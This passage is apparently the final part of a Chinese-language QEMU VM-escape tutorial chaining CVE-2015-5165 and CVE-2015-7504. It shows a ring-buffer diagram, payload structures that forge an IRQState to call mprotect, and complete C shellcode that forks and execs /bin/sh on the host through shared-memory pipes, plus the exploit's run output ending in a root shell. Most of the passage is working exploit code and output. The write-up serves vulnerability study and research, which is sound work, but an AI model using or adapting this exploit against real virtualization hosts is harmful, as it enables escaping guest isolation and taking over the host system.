+------------+ +------------+
| exploit | sm_write() head sm_read() | QEMU |
| (thread) |----------+ |--------------| (thread) |
+------------+ | V +---------++-+
| xxxxxxxxxxxxxx----+ pipe IN ||
| x | +---------++-+
| x ring buffer | | shell |
tail ------>x (filled with x) ^ | fork proc. |
| | +---------++-+
+-------->--------+ pipe OUT ||
+------------+ +---------++-+
| exploit | sm_read() tail sm_write() | QEMU |
| (thread) |----------+ |--------------| (thread) |
+------------+ | V +------------+
| xxxxxxxxxxxxxx----+
| x |
| x ring buffer |
head ------>x (filled with x) ^
| |
+-------->--------+
payload
的主要结构体如下,包括伪造的 IRQState
结构体、Shellcode 以及相关函数地址:
struct payload {
struct IRQState fake_irq[2]; // 用于调用mprotect的结构体
struct shared_data shared_data; // 用于向payload传入一些参数
uint8_t shellcode[1024];
uint8_t pipe_fd2r[1024];
uint8_t pipe_r2fd[1024];
};
struct shared_data {
struct GOT got; // 包含Shellcode会使用的相关函数地址
uint8_t shell[64]; // shell命令(/bin/sh字符串)
hptr_t addr; // 共享内存的物理地址
struct shared_io shared_io;
volatile int done; // 判断Shellcode是否已经运行
};
Shellcode 形式如下:
/* main code to run after %rip control */
void shellcode(struct shared_data *shared_data) {
pthread_t t_in, t_out, t_err;
int in_fds[2], out_fds[2], err_fds[2];
struct brwpipe *in, *out, *err;
char *args[2] = { shared_data->shell, NULL };
if (shared_data->done) { // 防止Shellcode运行多次
return;
}
shared_data->got.madvise((uint64_t *)shared_data->addr,
PHY_RAM, MADV_DOFORK); // 取消MADV_DONTFORK标识
shared_data->got.pipe(in_fds);
shared_data->got.pipe(out_fds);
shared_data->got.pipe(err_fds);
in = shared_data->got.malloc(sizeof(struct brwpipe));
out = shared_data->got.malloc(sizeof(struct brwpipe));
err = shared_data->got.malloc(sizeof(struct brwpipe));
in->got = &shared_data->got;
out->got = &shared_data->got;
err->got = &shared_data->got;
in->fd = in_fds[1];
out->fd = out_fds[0];
err->fd = err_fds[0];
in->ring = &shared_data->shared_io.in;
out->ring = &shared_data->shared_io.out;
err->ring = &shared_data->shared_io.err;
if (shared_data->got.fork() == 0) { // 子进程
shared_data->got.close(in_fds[1]);
shared_data->got.close(out_fds[0]);
shared_data->got.close(err_fds[0]);
shared_data->got.dup2(in_fds[0], 0);
shared_data->got.dup2(out_fds[1], 1);
shared_data->got.dup2(err_fds[1], 2);
shared_data->got.execv(shared_data->shell, args); // 开启一个Shell
} else { // 父进程
shared_data->got.close(in_fds[0]);
shared_data->got.close(out_fds[1]);
shared_data->got.close(err_fds[1]);
shared_data->got.pthread_create(&t_in, NULL,
shared_data->got.pipe_r2fd, in);
shared_data->got.pthread_create(&t_out, NULL,
shared_data->got.pipe_fd2r, out);
shared_data->got.pthread_create(&t_err, NULL,
shared_data->got.pipe_fd2r, err);
shared_data->done = 1;
}
}
最后执行编译好的 Exploit,拿到宿主机权限(获取到执行 QEMU 的用户权限):
root@ubuntu:~/vm_escape# ./vm-escape
vm-escape: [+] found 39 potential ObjectProperty structs in memory
vm-escape: [+] .text mapped at 0x7fe0880ffd30
vm-escape: [+] mprotect mapped at 0x7fe0880ff730
vm-escape: [+] qemu_set_irq mapped at 0x7fe0882fe8eb
vm-escape: [+] VM physical memory mapped at 0x7fdff4000000
vm-escape: [+] payload at 0x7fe06d3bf000
vm-escape: [+] patching packet...
vm-escape: [+] running first attack stage
vm-escape: [+] running shellcode at 0x7fe06d3bf2d0
vm-escape: [!] enjoy your shell
shell > id
uid=0(root) gid=0(root) groups=0(root)
6. References
QEMU escape: Part 1 Environment Set-up - 氷菓
QEMU escape: Part 2 Debugging Environment Set-up - 氷菓
QEMU escape: Part 3 Information Leakage (CVE-2015-5165) - 氷菓
QEMU Escape: Part 4 Hijack Control Flow (CVE-2015-7504) - 氷菓
QEMU Escape: Part 5 Put Everything Together (nographic mode) - 氷菓
VM escape - QEMU Case Study - Mehdi Talbi & Paul Fariello
QEMU Internal: PCNET - 氷菓
qemu 逃逸漏洞解析 - PDS
CVE-2015-5165 漏洞复现——QEMU 信息泄露漏洞 - Resery
Qemu VM Escape - Atum